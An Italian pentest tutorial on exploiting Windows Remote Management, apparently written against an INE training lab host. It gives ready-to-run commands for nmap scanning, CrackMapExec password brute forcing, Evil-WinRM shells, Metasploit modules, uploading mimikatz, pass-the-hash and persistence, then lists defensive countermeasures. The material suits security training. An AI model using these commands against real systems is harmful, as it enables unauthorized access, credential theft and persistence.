🛠️ **Guida Completa all’Exploitation di WinRM**
WinRM Windows Remote Management è un protocollo sviluppato da Microsoft che consente la gestione remota dei sistemi Windows tramite WS-Management Web Services for Management, basato su SOAP. WinRM è s
🛠️ Guida Completa all’Exploitation di WinRM
📖 Cos’è WinRM?
WinRM (Windows Remote Management) è un protocollo sviluppato da Microsoft che consente la gestione remota dei sistemi Windows tramite WS-Management (Web Services for Management), basato su SOAP.
WinRM è spesso utilizzato in ambienti aziendali e può diventare un vettore di attacco efficace se abilitato su endpoint e server con credenziali deboli.
🔎 Porte utilizzate
| Porta | Protocollo | Descrizione |
| 5985 | HTTP | Connessione WinRM non cifrata |
| 5986 | HTTPS | Connessione WinRM cifrata (SSL) |
🔍 1. Ricognizione iniziale
✅ Scansione porte con Nmap
nmap -p 5985,5986 -sV <target_ip> --open🧠 Script specifici:
nmap -p 5985 --script http-winrm-enum <target_ip>Questo script enumera alcune informazioni dal servizio se accessibile.
🔐 2. Brute Forcing con CrackMapExec
CrackMapExec (CME) è uno strumento potente per il post-exploitation e la lateral movement, ma anche per l'enumerazione e il brute force contro WinRM.
⚙️ Sintassi base:
crackmapexec winrm <target_ip> -u <user|userlist> -p <pass|passlist>✅ Esempio:
crackmapexec winrm demo.ine.local -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txtSe il modulo mostra [+], la coppia user:pass è valida e l'autenticazione è riuscita.
🧠 Suggerimenti:
- Puoi combinare più utenti e password con
-u users.txt -p passwords.txt
- Aggiungi
--continue-on-successper evitare che si fermi al primo match
- Usa
--local-authse stai autenticandoti localmente e non su un dominio
🚪 3. Accesso Remoto Interattivo
Una volta ottenute credenziali valide, puoi ottenere una shell remota PowerShell tramite vari strumenti.
🧰 Metodo 1: Evil-WinRM (lo standard)
evil-winrm -i <target_ip> -u <username> -p <password>🛠 Esempio:
evil-winrm -i demo.ine.local -u administrator -p qwerty123!Evil-WinRM è un client interattivo in Ruby che permette:>
- Upload/download file
- Esecuzione comandi
- Iniezione di script PowerShell
- Accesso alle funzionalità del sistema
🧠 Opzioni aggiuntive:
-s ./scripts/→ cartella di script PowerShell personalizzati
-e ./executables/→ eseguibili da usare nella sessione
-c ./certs/→ se usi HTTPS (porta 5986)
🛠️ Metodo alternativo (Metasploit)
Se preferisci usare Metasploit per ottenere accesso:
use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target_ip>
set USERNAME <user>
set PASSWORD <pass>
run
Oppure puoi usarlo in combinazione con psexec, exploit/windows/winrm/winrm_script_exec, ecc., anche se Evil-WinRM è lo strumento preferito per interazione diretta.
🧬 4. Post-Exploitation con Evil-WinRM
🔍 Esempi di comandi utili:
whoami
ipconfig /all
net users
net localgroup administrators📂 Upload di file:
upload shell.exe🛡 Esecuzione di Mimikatz:
upload mimikatz.exe mimikatz.exe🧠 Tecniche Avanzate
- Pass-the-Hash (PTH): se hai ottenuto un hash NTLM valido, puoi autenticarti senza la password in chiaro (con supporto PTH da parte di Evil-WinRM).
evil-winrm -i <ip> -u administrator -H <NTLM_hash>- Lateral Movement: se ottieni una shell WinRM come utente con privilegi adeguati, puoi pivotare verso altri host via
Invoke-WMI,PsExec,WinRMstesso.
- Persistence: creazione di utente nascosto o scheduled task persistente via PowerShell.
🧯 Contromisure Difensive
Come ogni pentest serio, è buona pratica conoscere le contromisure:
- Disabilitare WinRM se non necessario
- Consentire accesso WinRM solo a utenti specifici (via GPO)
- Usare Autenticazione Kerberos invece di password
- Log accessi e fallimenti su WinRM (
Event ID 4625)
- Segregare la rete e applicare firewall su 5985/5986